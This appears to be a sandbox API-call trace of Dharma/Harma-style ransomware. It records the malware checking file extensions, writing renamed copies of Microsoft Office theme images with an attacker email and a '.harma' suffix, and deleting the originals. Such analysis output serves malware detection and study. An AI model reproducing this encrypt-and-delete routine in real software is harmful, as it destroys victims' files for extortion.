[0060.295] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.295] lstrlenW (lpString=".dbf") returned 4 [0060.295] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.296] lstrlenW (lpString=".1cd") returned 4 [0060.296] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0060.296] lstrlenW (lpString=".jpg") returned 4 [0060.296] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.296] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0060.296] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0060.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0060.297] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=19563) returned 1 [0060.297] CloseHandle (hObject=0x1fc) returned 1 [0060.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0060.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0060.297] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.297] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0060.298] GetLastError () returned 0x0 [0060.298] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0060.300] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0060.302] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.302] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.302] SetEndOfFile (hFile=0x170) returned 1 [0060.302] CloseHandle (hObject=0x170) returned 1 [0060.302] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.302] SetEndOfFile (hFile=0x1fc) returned 1 [0060.303] CloseHandle (hObject=0x1fc) returned 1 [0060.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.304] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0060.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.304] lstrlenW (lpString=".doc") returned 4 [0060.304] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.304] lstrlenW (lpString=".docx") returned 5 [0060.304] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.304] lstrlenW (lpString=".pdf") returned 4 [0060.304] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.304] lstrlenW (lpString=".xls") returned 4 [0060.304] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.304] lstrlenW (lpString=".xlsx") returned 5 [0060.305] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.305] lstrlenW (lpString=".ppt") returned 4 [0060.305] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.305] lstrlenW (lpString=".zip") returned 4 [0060.305] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.305] lstrlenW (lpString=".rar") returned 4 [0060.305] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.305] lstrlenW (lpString=".bz2") returned 4 [0060.305] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.305] lstrlenW (lpString=".7z") returned 3 [0060.305] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.305] lstrlenW (lpString=".dbf") returned 4 [0060.305] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.305] lstrlenW (lpString=".1cd") returned 4 [0060.305] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.305] lstrlenW (lpString=".jpg") returned 4 [0060.306] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.306] lstrlenW (lpString=".doc") returned 4 [0060.306] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.306] lstrlenW (lpString=".docx") returned 5 [0060.306] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.306] lstrlenW (lpString=".pdf") returned 4 [0060.306] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.306] lstrlenW (lpString=".xls") returned 4 [0060.306] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.306] lstrlenW (lpString=".xlsx") returned 5 [0060.306] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.306] lstrlenW (lpString=".ppt") returned 4 [0060.306] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.306] lstrlenW (lpString=".zip") returned 4 [0060.306] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.306] lstrlenW (lpString=".rar") returned 4 [0060.306] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.307] lstrlenW (lpString=".bz2") returned 4 [0060.307] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.307] lstrlenW (lpString=".7z") returned 3 [0060.307] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.307] lstrlenW (lpString=".dbf") returned 4 [0060.307] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.307] lstrlenW (lpString=".1cd") returned 4 [0060.307] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0060.307] lstrlenW (lpString=".jpg") returned 4 [0060.307] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.307] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0060.307] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0060.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0060.308] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1423) returned 1 [0060.308] CloseHandle (hObject=0x1fc) returned 1 [0060.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0060.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0060.308] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.308] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0060.655] GetLastError () returned 0x0 [0060.655] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x58f, lpOverlapped=0x0) returned 1 [0061.870] WriteFile (in: hFile=0x1dc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x590, lpOverlapped=0x0) returned 1 [0061.871] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.871] WriteFile (in: hFile=0x1dc, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.871] SetEndOfFile (hFile=0x1dc) returned 1 [0061.881] CloseHandle (hObject=0x1dc) returned 1 [0061.881] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.881] SetEndOfFile (hFile=0x1fc) returned 1 [0061.882] CloseHandle (hObject=0x1fc) returned 1 [0061.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0061.882] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0061.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.883] lstrlenW (lpString=".doc") returned 4 [0061.883] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.883] lstrlenW (lpString=".docx") returned 5 [0061.883] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0061.883] lstrlenW (lpString=".pdf") returned 4 [0061.883] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.883] lstrlenW (lpString=".xls") returned 4 [0061.883] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.883] lstrlenW (lpString=".xlsx") returned 5 [0061.883] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0061.883] lstrlenW (lpString=".ppt") returned 4 [0061.883] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.883] lstrlenW (lpString=".zip") returned 4 [0061.883] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.883] lstrlenW (lpString=".rar") returned 4 [0061.883] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.883] lstrlenW (lpString=".bz2") returned 4 [0061.883] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.883] lstrlenW (lpString=".7z") returned 3 [0061.883] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.883] lstrlenW (lpString=".dbf") returned 4 [0061.883] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.883] lstrlenW (lpString=".1cd") returned 4 [0061.883] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.883] lstrlenW (lpString=".jpg") returned 4 [0061.883] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.884] lstrlenW (lpString=".doc") returned 4 [0061.884] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.884] lstrlenW (lpString=".docx") returned 5 [0061.884] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0061.884] lstrlenW (lpString=".pdf") returned 4 [0061.884] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString=".xls") returned 4 [0061.884] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString=".xlsx") returned 5 [0061.884] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0061.884] lstrlenW (lpString=".ppt") returned 4 [0061.884] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.884] lstrlenW (lpString=".zip") returned 4 [0061.884] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString=".rar") returned 4 [0061.884] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.884] lstrlenW (lpString=".bz2") returned 4 [0061.884] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.884] lstrlenW (lpString=".7z") returned 3 [0061.884] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.884] lstrlenW (lpString=".dbf") returned 4 [0061.884] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.884] lstrlenW (lpString=".1cd") returned 4 [0061.884] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0061.885] lstrlenW (lpString=".jpg") returned 4 [0061.885] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.885] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0061.885] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0061.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.636] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=27177) returned 1 [0062.636] CloseHandle (hObject=0x1a0) returned 1 [0062.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0062.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.637] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.637] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0062.637] GetLastError () returned 0x0 [0062.637] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x6a29, lpOverlapped=0x0) returned 1 [0062.639] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0062.640] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.640] WriteFile (in: hFile=0x170, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.641] SetEndOfFile (hFile=0x170) returned 1 [0062.643] CloseHandle (hObject=0x170) returned 1 [0062.643] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.644] SetEndOfFile (hFile=0x1a0) returned 1 [0062.645] CloseHandle (hObject=0x1a0) returned 1 [0062.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.646] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0062.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.646] lstrlenW (lpString=".doc") returned 4 [0062.646] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.646] lstrlenW (lpString=".docx") returned 5 [0062.646] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.646] lstrlenW (lpString=".pdf") returned 4 [0062.646] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.646] lstrlenW (lpString=".xls") returned 4 [0062.646] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.646] lstrlenW (lpString=".xlsx") returned 5 [0062.646] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.646] lstrlenW (lpString=".ppt") returned 4 [0062.646] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.646] lstrlenW (lpString=".zip") returned 4 [0062.646] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.646] lstrlenW (lpString=".rar") returned 4 [0062.646] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.646] lstrlenW (lpString=".bz2") returned 4 [0062.647] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.647] lstrlenW (lpString=".7z") returned 3 [0062.647] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.647] lstrlenW (lpString=".dbf") returned 4 [0062.647] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.647] lstrlenW (lpString=".1cd") returned 4 [0062.647] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.647] lstrlenW (lpString=".jpg") returned 4 [0062.647] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.647] lstrlenW (lpString=".doc") returned 4 [0062.647] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.647] lstrlenW (lpString=".docx") returned 5 [0062.647] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.647] lstrlenW (lpString=".pdf") returned 4 [0062.647] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.647] lstrlenW (lpString=".xls") returned 4 [0062.647] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.647] lstrlenW (lpString=".xlsx") returned 5 [0062.647] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.647] lstrlenW (lpString=".ppt") returned 4 [0062.647] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0062.648] lstrlenW (lpString=".zip") returned 4 [0062.648] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.648] lstrlenW (lpString=".rar") returned 4 [0062.648] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.648] lstrlenW (lpString=".bz2") returned 4 [0062.648] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.648] lstrlenW 